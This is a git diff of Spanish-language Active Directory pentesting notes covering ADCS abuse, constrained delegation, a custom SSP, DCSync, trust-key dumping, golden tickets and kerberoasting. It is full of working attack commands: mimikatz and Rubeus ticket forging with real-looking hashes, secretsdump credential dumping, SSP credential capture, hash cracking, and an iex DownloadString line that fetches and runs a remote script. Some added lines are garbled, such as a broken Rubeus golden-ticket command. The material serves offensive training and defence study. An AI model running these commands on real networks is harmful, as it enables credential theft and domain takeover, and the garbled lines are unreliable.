ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Acceso a shell a ADCS CA con YubiHSM - ESC12 +## Shell access to ADCS CA with YubiHSM - ESC12 -### Explicación +### Explanation Los administradores pueden configurar la Autoridad de Certificación para almacenarla en un dispositivo externo como el "Yubico YubiHSM2". @@ -569,11 +569,11 @@ Si el dispositivo USB está conectado al servidor CA a través de un puerto USB, Esta clave/contraseña se almacena en el registro bajo `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en texto claro. -Referencia en [aquí](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Referencia en [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Escenario de abuso +### Abuse Scenario -Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtuviste acceso a shell, es posible recuperar la clave. +Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtuviste acceso a la shell, es posible recuperar la clave. Primero, necesitas obtener el certificado de la CA (esto es público) y luego: ```cmd @@ -583,7 +583,7 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Finalmente, utiliza el comando certutil `-sign` para falsificar un nuevo certificado arbitrario utilizando el certificado de la CA y su clave privada. +Finalmente, utiliza el comando certutil `-sign` para falsificar un nuevo certificado arbitrario utilizando el certificado de CA y su clave privada. ## Abuso de enlace de grupo OID - ESC13 @@ -594,7 +594,7 @@ El atributo `msPKI-Certificate-Policy` permite que la política de emisión se a En otras palabras, cuando un usuario tiene permiso para inscribir un certificado y el certificado está vinculado a un grupo OID, el usuario puede heredar los privilegios de este grupo. Utiliza [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink: -```powershell +```bash Enumerating OIDs ------------------------ OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local @@ -617,7 +617,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Escenario de Abuso -Encuentra un permiso de usuario que se pueda usar `certipy find` o `Certify.exe find /showAllPermissions`. +Encuentra un permiso de usuario que pueda usar `certipy find` o `Certify.exe find /showAllPermissions`. Si `John` tiene permiso para inscribir `VulnerableTemplate`, el usuario puede heredar los privilegios del grupo `VulnerableGroup`. @@ -629,12 +629,12 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target ### Ruptura de Confianzas de Bosque por CAs Comprometidos -La configuración para **inscripción entre bosques** es relativamente sencilla. El **certificado de CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control total** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados de todos los usuarios en ambos, el bosque de recursos y el bosque de cuentas, podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque. +La configuración para **inscripción entre bosques** es relativamente sencilla. El **certificado de CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control total** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados para todos los usuarios en ambos, el bosque de recursos y los bosques de cuentas, podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque. ### Privilegios de Inscripción Otorgados a Principales Extranjeros En entornos de múltiples bosques, se requiere precaución con respecto a las CAs Empresariales que **publican plantillas de certificados** que permiten a **Usuarios Autenticados o principales extranjeros** (usuarios/grupos externos al bosque al que pertenece la CA Empresarial) **derechos de inscripción y edición**.\ -Al autenticarse a través de una confianza, el **SID de Usuarios Autenticados** es agregado al token del usuario por AD. Así, si un dominio posee una CA Empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. Del mismo modo, si **los derechos de inscripción son explícitamente otorgados a un principal extranjero por una plantilla**, se **crea una relación de control de acceso entre bosques**, permitiendo que un principal de un bosque **se inscriba en una plantilla de otro bosque**. +Tras la autenticación a través de una confianza, el **SID de Usuarios Autenticados** es agregado al token del usuario por AD. Así, si un dominio posee una CA Empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. Del mismo modo, si **los derechos de inscripción son explícitamente otorgados a un principal extranjero por una plantilla**, se **crea una relación de control de acceso entre bosques**, permitiendo a un principal de un bosque **inscribirse en una plantilla de otro bosque**. Ambos escenarios conducen a un **aumento en la superficie de ataque** de un bosque a otro. La configuración de la plantilla de certificado podría ser explotada por un atacante para obtener privilegios adicionales en un dominio extranjero. diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md index 9a19ad2da..a32f73f98 100644 --- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -4,16 +4,16 @@ ## Delegación Constrainada -Usando esto, un administrador de dominio puede **permitir** que una computadora **suplante a un usuario o computadora** contra un **servicio** de una máquina. +Usando esto, un administrador de dominio puede **permitir** que una computadora **suplante a un usuario o computadora** contra cualquier **servicio** de una máquina. -- **Servicio para Usuario a sí mismo (**_**S4U2self**_**):** Si una **cuenta de servicio** tiene un valor de _userAccountControl_ que contiene [TRUSTED_TO_AUTH_FOR_DELEGATION]() (T2A4D), entonces puede obtener un TGS para sí misma (el servicio) en nombre de cualquier otro usuario. -- **Servicio para Usuario a Proxy(**_**S4U2proxy**_**):** Una **cuenta de servicio** podría obtener un TGS en nombre de cualquier usuario para el servicio establecido en **msDS-AllowedToDelegateTo.** Para hacerlo, primero necesita un TGS de ese usuario para sí misma, pero puede usar S4U2self para obtener ese TGS antes de solicitar el otro. +- **Servicio para Usuario a sí mismo (_S4U2self_):** Si una **cuenta de servicio** tiene un valor de _userAccountControl_ que contiene [TrustedToAuthForDelegation]() (T2A4D), entonces puede obtener un TGS para sí misma (el servicio) en nombre de cualquier otro usuario. +- **Servicio para Usuario a Proxy (_S4U2proxy_):** Una **cuenta de servicio** podría obtener un TGS en nombre de cualquier usuario al servicio establecido en **msDS-AllowedToDelegateTo.** Para hacerlo, primero necesita un TGS de ese usuario a sí misma, pero puede usar S4U2self para obtener ese TGS antes de solicitar el otro. **Nota**: Si un usuario está marcado como ‘_La cuenta es sensible y no puede ser delegada_’ en AD, **no podrás suplantarlo**. -Esto significa que si **comprometes el hash del servicio** puedes **suplantar usuarios** y obtener **acceso** en su nombre al **servicio configurado** (posible **privesc**). +Esto significa que si **comprometes el hash del servicio** puedes **suplantar usuarios** y obtener **acceso** en su nombre a cualquier **servicio** sobre las máquinas indicadas (posible **privesc**). -Además, **no solo tendrás acceso al servicio que el usuario puede suplantar, sino también a cualquier servicio** porque el SPN (el nombre del servicio solicitado) no está siendo verificado, solo los privilegios. Por lo tanto, si tienes acceso al **servicio CIFS** también puedes tener acceso al **servicio HOST** usando la bandera `/altservice` en Rubeus. +Además, **no solo tendrás acceso al servicio que el usuario puede suplantar, sino también a cualquier servicio** porque el SPN (el nombre del servicio solicitado) no está siendo verificado (en el ticket esta parte no está encriptada/firmada). Por lo tanto, si tienes acceso al **servicio CIFS** también puedes tener acceso al **servicio HOST** usando la bandera `/altservice` en Rubeus, por ejemplo. Además, el **acceso al servicio LDAP en DC** es lo que se necesita para explotar un **DCSync**. ```bash:Enumerate @@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json ``` +```bash:Quick Way +# Generate TGT + TGS impersonating a user knowing the hash +Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt +``` +- Paso 1: **Obtener TGT del servicio permitido** ```bash:Get TGT # The first step is to get a TGT of the service that can impersonate others ## If you are SYSTEM in the server, you might take it from memory @@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" mimikatz sekurlsa::ekeys ## Request with aes -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap # Request with RC4 -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi ``` > [!WARNING] > Existen **otras formas de obtener un ticket TGT** o el **RC4** o **AES256** sin ser SYSTEM en la computadora, como el Printer Bug y la delegación no restringida, el relé NTLM y el abuso del Servicio de Certificados de Active Directory. > -> **Solo con tener ese ticket TGT (o hash) puedes realizar este ataque sin comprometer toda la computadora.** +> **Con solo tener ese ticket TGT (o hash) puedes realizar este ataque sin comprometer toda la computadora.** + +- Step2: **Obtener TGS para el servicio impersonando al usuario** ```bash:Using Rubeus -#Obtain a TGS of the Administrator user to self +# Obtain a TGS of the Administrator user to self .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator -#Obtain service TGS impersonating Administrator (CIFS) +# Obtain service TGS impersonating Administrator (CIFS) .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS #Impersonate Administrator on different service (HOST) diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index b371ac4c0..772c9fce3 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -4,7 +4,7 @@ ### Custom SSP -[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ +[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** utilizadas para acceder a la máquina. #### Mimilib @@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` Agrega `mimilib.dll` a la lista de Proveedores de Soporte de Seguridad (Paquetes de Seguridad): -```powershell +```bash reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` Y después de un reinicio, todas las credenciales se pueden encontrar en texto claro en `C:\Windows\System32\kiwissp.log` @@ -27,7 +27,7 @@ Y después de un reinicio, todas las credenciales se pueden encontrar en texto c #### En memoria También puedes inyectar esto en memoria directamente usando Mimikatz (ten en cuenta que podría ser un poco inestable/no funcionar): -```powershell +```bash privilege::debug misc::memssp ``` diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index 5eb11ddc4..b25808182 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -15,15 +15,15 @@ El permiso **DCSync** implica tener estos permisos sobre el dominio: **DS-Replic ### Enumeration Verifica quién tiene estos permisos usando `powerview`: -```powershell +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` ### Explotar Localmente -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` ### Explotar Remotamente -```powershell +```bash secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user [-pwd-last-set] #To see when each account's password was last changed @@ -35,18 +35,18 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes - uno con las **claves Kerberos** - uno con contraseñas en texto claro del NTDS para cualquier cuenta configurada con [**cifrado reversible**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) habilitado. Puedes obtener usuarios con cifrado reversible con -```powershell +```bash Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol ``` ### Persistencia Si eres un administrador de dominio, puedes otorgar estos permisos a cualquier usuario con la ayuda de `powerview`: -```powershell +```bash Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` Luego, puedes **verificar si al usuario se le asignaron correctamente** los 3 privilegios buscándolos en la salida de (deberías poder ver los nombres de los privilegios dentro del campo "ObjectType"): -```powershell +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` ### Mitigación diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index d6b7b3d53..8bf118598 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -7,7 +7,7 @@ En este escenario, **tu dominio** está **confiando** algunos **privilegios** a ## Enumeración ### Confianza Saliente -```powershell +```bash # Notice Outbound trust Get-DomainTrust SourceName : root.local @@ -28,17 +28,17 @@ MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115 MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL ## Note how the members aren't from the current domain (ConvertFrom-SID won't work) ``` -## Ataque a Cuentas de Confianza +## Ataque a la Cuenta de Confianza Una vulnerabilidad de seguridad existe cuando se establece una relación de confianza entre dos dominios, identificados aquí como dominio **A** y dominio **B**, donde el dominio **B** extiende su confianza al dominio **A**. En esta configuración, se crea una cuenta especial en el dominio **A** para el dominio **B**, que juega un papel crucial en el proceso de autenticación entre los dos dominios. Esta cuenta, asociada con el dominio **B**, se utiliza para cifrar tickets para acceder a servicios a través de los dominios. El aspecto crítico a entender aquí es que la contraseña y el hash de esta cuenta especial pueden ser extraídos de un Controlador de Dominio en el dominio **A** utilizando una herramienta de línea de comandos. El comando para realizar esta acción es: -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` -Esta extracción es posible porque la cuenta, identificada con un **$** después de su nombre, está activa y pertenece al grupo "Domain Users" del dominio **A**, heredando así los permisos asociados con este grupo. Esto permite a los individuos autenticarse contra el dominio **A** utilizando las credenciales de esta cuenta. +Esta extracción es posible porque la cuenta, identificada con un **$** después de su nombre, está activa y pertenece al grupo "Domain Users" del dominio **A**, heredando así los permisos asociados con este grupo. Esto permite a las personas autenticarse en el dominio **A** utilizando las credenciales de esta cuenta. -**Advertencia:** Es factible aprovechar esta situación para obtener un acceso en el dominio **A** como usuario, aunque con permisos limitados. Sin embargo, este acceso es suficiente para realizar enumeraciones en el dominio **A**. +**Advertencia:** Es factible aprovechar esta situación para obtener un acceso inicial en el dominio **A** como usuario, aunque con permisos limitados. Sin embargo, este acceso es suficiente para realizar enumeraciones en el dominio **A**. En un escenario donde `ext.local` es el dominio de confianza y `root.local` es el dominio confiado, se crearía una cuenta de usuario llamada `EXT$` dentro de `root.local`. A través de herramientas específicas, es posible volcar las claves de confianza de Kerberos, revelando las credenciales de `EXT$` en `root.local`. El comando para lograr esto es: ```bash diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index ade68895f..38d5e3b58 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -7,7 +7,7 @@ En este escenario, un dominio externo te está confiando (o ambos se están conf ## Enumeración Primero que nada, necesitas **enumerar** la **confianza**: -```powershell +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -63,7 +63,7 @@ En la enumeración anterior se encontró que el usuario **`crossuser`** está de Si **no pudiste** encontrar ningún acceso **especial** de tu usuario en el otro dominio, aún puedes volver a la Metodología de AD y tratar de **privesc desde un usuario no privilegiado** (cosas como kerberoasting, por ejemplo): Puedes usar las **funciones de Powerview** para **enumerar** el **otro dominio** usando el parámetro `-Domain` como en: -```powershell +```bash Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` {{#ref}} @@ -75,7 +75,7 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ### Inicio de sesión Usando un método regular con las credenciales de los usuarios que tienen acceso al dominio externo, deberías poder acceder a: -```powershell +```bash Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` ### Abuso de SID History @@ -87,7 +87,7 @@ Si un usuario es migrado **de un bosque a otro** y **el filtrado de SID no está > [!WARNING] > Como recordatorio, puedes obtener la clave de firma con > -> ```powershell +> ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index a4828c7a6..e86880de7 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -4,9 +4,9 @@ ## Golden ticket -Un ataque de **Golden Ticket** consiste en la **creación de un Ticket Granting Ticket (TGT) legítimo impersonando a cualquier usuario** a través del uso del **hash NTLM de la cuenta krbtgt de Active Directory (AD)**. Esta técnica es particularmente ventajosa porque **permite el acceso a cualquier servicio o máquina** dentro del dominio como el usuario impersonado. Es crucial recordar que las **credenciales de la cuenta krbtgt nunca se actualizan automáticamente**. +Un **ataque de Golden Ticket** consiste en la **creación de un Ticket Granting Ticket (TGT) legítimo impersonando a cualquier usuario** a través del uso del **hash NTLM de la cuenta krbtgt de Active Directory (AD)**. Esta técnica es particularmente ventajosa porque **permite el acceso a cualquier servicio o máquina** dentro del dominio como el usuario impersonado. Es crucial recordar que las **credenciales de la cuenta krbtgt nunca se actualizan automáticamente**. -Para **adquirir el hash NTLM** de la cuenta krbtgt, se pueden emplear varios métodos. Puede ser extraído del **proceso de Local Security Authority Subsystem Service (LSASS)** o del **archivo NT Directory Services (NTDS.dit)** ubicado en cualquier Controlador de Dominio (DC) dentro del dominio. Además, **ejecutar un ataque DCsync** es otra estrategia para obtener este hash NTLM, que se puede realizar utilizando herramientas como el **módulo lsadump::dcsync** en Mimikatz o el **script secretsdump.py** de Impacket. Es importante subrayar que para llevar a cabo estas operaciones, **normalmente se requieren privilegios de administrador de dominio o un nivel de acceso similar**. +Para **adquirir el hash NTLM** de la cuenta krbtgt, se pueden emplear varios métodos. Puede ser extraído del **proceso del Servicio de Subsistema de Seguridad Local (LSASS)** o del **archivo de Servicios de Directorio NT (NTDS.dit)** ubicado en cualquier Controlador de Dominio (DC) dentro del dominio. Además, **ejecutar un ataque DCsync** es otra estrategia para obtener este hash NTLM, que se puede realizar utilizando herramientas como el **módulo lsadump::dcsync** en Mimikatz o el **script secretsdump.py** de Impacket. Es importante subrayar que para llevar a cabo estas operaciones, **normalmente se requieren privilegios de administrador de dominio o un nivel de acceso similar**. Aunque el hash NTLM sirve como un método viable para este propósito, se **recomienda encarecidamente** **forjar tickets utilizando las claves Kerberos del Estándar de Cifrado Avanzado (AES) (AES128 y AES256)** por razones de seguridad operativa. ```bash:From Linux @@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass ``` ```bash:From Windows +# Rubeus +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt #mimikatz kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt .\Rubeus.exe ptt /ticket:ticket.kirbi @@ -32,13 +38,13 @@ Las formas más frecuentes de detectar un golden ticket son **inspeccionando el `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` -Utiliza los parámetros `/startoffset`, `/endin` y `/renewmax` para controlar el desplazamiento de inicio, la duración y las renovaciones máximas (todas en minutos). +Utiliza los parámetros `/startoffset`, `/endin` y `/renewmax` para controlar el desplazamiento de inicio, la duración y las renovaciones máximas (todo en minutos). ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -Desafortunadamente, la duración del TGT no se registra en los 4769, por lo que no encontrarás esta información en los registros de eventos de Windows. Sin embargo, lo que puedes correlacionar es **ver 4769 sin un previo 4768**. **No es posible solicitar un TGS sin un TGT**, y si no hay registro de que se haya emitido un TGT, podemos inferir que fue forjado fuera de línea. +Desafortunadamente, la duración del TGT no se registra en el 4769, por lo que no encontrarás esta información en los registros de eventos de Windows. Sin embargo, lo que puedes correlacionar es **ver 4769 sin un previo 4768**. **No es posible solicitar un TGS sin un TGT**, y si no hay registro de que se haya emitido un TGT, podemos inferir que fue forjado fuera de línea. -Para **eludir esta detección**, verifica los diamond tickets: +Para **eludir esta detección**, revisa los diamond tickets: {{#ref}} diamond-ticket.md diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 5dc162dbb..1da5b31f2 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -19,132 +19,154 @@ Para ejecutar **Kerberoasting**, es esencial una cuenta de dominio capaz de soli > [!WARNING] > Las **herramientas de Kerberoasting** típicamente solicitan **`RC4 encryption`** al realizar el ataque e iniciar solicitudes TGS-REQ. Esto se debe a que **RC4 es** [**más débil**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) y más fácil de crackear offline utilizando herramientas como Hashcat que otros algoritmos de encriptación como AES-128 y AES-256.\ -> Los hashes de RC4 (tipo 23) comienzan con **`$krb5tgs$23$*`** mientras que los de AES-256 (tipo 18) comienzan con **`$krb5tgs$18$*`**.` +> Los hashes de RC4 (tipo 23) comienzan con **`$krb5tgs$23$*`** mientras que los de AES-256 (tipo 18) comienzan con **`$krb5tgs$18$*`**.\ +> Además, ten cuidado porque `Rubeus.exe kerberoast` solicita tickets automáticamente sobre TODAS las cuentas vulnerables, lo que te hará detectable. Primero, encuentra usuarios susceptibles a kerberoasting con privilegios interesantes y luego ejecútalo solo sobre ellos. +```bash #### **Linux** + ```bash # Metasploit framework msf> use auxiliary/gather/get_user_spns # Impacket -GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Password will be prompted +GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Se solicitará la contraseña GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast # kerberoast: https://github.com/skelsec/kerberoast -kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerate kerberoastable users -kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes +kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerar usuarios kerberoastable +kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Volcar hashes ``` -Herramientas multifuncionales que incluyen un volcado de usuarios kerberoastable: + +Multi-features tools including a dump of kerberoastable users: + ```bash # ADenum: https://github.com/SecuProject/ADenum -adenum -d -ip -u -p -c +adenum -d -ip -u -p -c ``` + #### Windows -- **Enumerar usuarios susceptibles a Kerberoast** -```powershell -# Get Kerberoastable users -setspn.exe -Q */* #This is a built-in binary. Focus on user accounts +- **Enumerate Kerberoastable users** + +```bash +# Obtener usuarios Kerberoastable +setspn.exe -Q */* #Este es un binario incorporado. Enfócate en cuentas de usuario Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` -- **Técnica 1: Solicitar TGS y volcarlo de la memoria** -```powershell -#Get TGS in memory from a single user -Add-Type -AssemblyName System.IdentityModel -New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local -#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart) +- **Technique 1: Ask for TGS and dump it from memory** + +```bash +# Obtener TGS en memoria de un solo usuario +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Ejemplo: MSSQLSvc/mgmt.domain.local + +# Obtener TGS para TODAS las cuentas kerberoastable (incluidos PCs, no es muy inteligente) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } -#List kerberos tickets in memory +# Listar tickets kerberos en memoria klist -# Extract them from memory -Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder +# Extraerlos de la memoria +Invoke-Mimikatz -Command '"kerberos::list /export"' #Exportar tickets a la carpeta actual -# Transform kirbi ticket to john +# Transformar ticket kirbi a john python2.7 kirbi2john.py sqldev.kirbi -# Transform john to hashcat +# Transformar john a hashcat sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` -- **Técnica 2: Herramientas automáticas** + +- **Technique 2: Automatic tools** + ```bash -# Powerview: Get Kerberoast hash of a user -Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local -# Powerview: Get all Kerberoast hashes +# Powerview: Obtener el hash de Kerberoast de un usuario +Request-SPNTicket -SPN "" -Format Hashcat #Usando PowerView Ej: MSSQLSvc/mgmt.domain.local +# Powerview: Obtener todos los hashes de Kerberoast Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast -.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user -.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins +.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Usuario específico +.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Obtener administradores # Invoke-Kerberoast iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` + > [!WARNING] -> Cuando se solicita un TGS, se genera el evento de Windows `4769 - Se solicitó un ticket de servicio Kerberos`. +> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. ### Cracking + ```bash -john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast -hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt +john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast +hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Persistencia -Si tienes **suficientes permisos** sobre un usuario, puedes **hacerlo kerberoastable**: +### Persistence + +If you have **enough permissions** over a user you can **make it kerberoastable**: + ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` -Puedes encontrar **herramientas** útiles para ataques de **kerberoast** aquí: 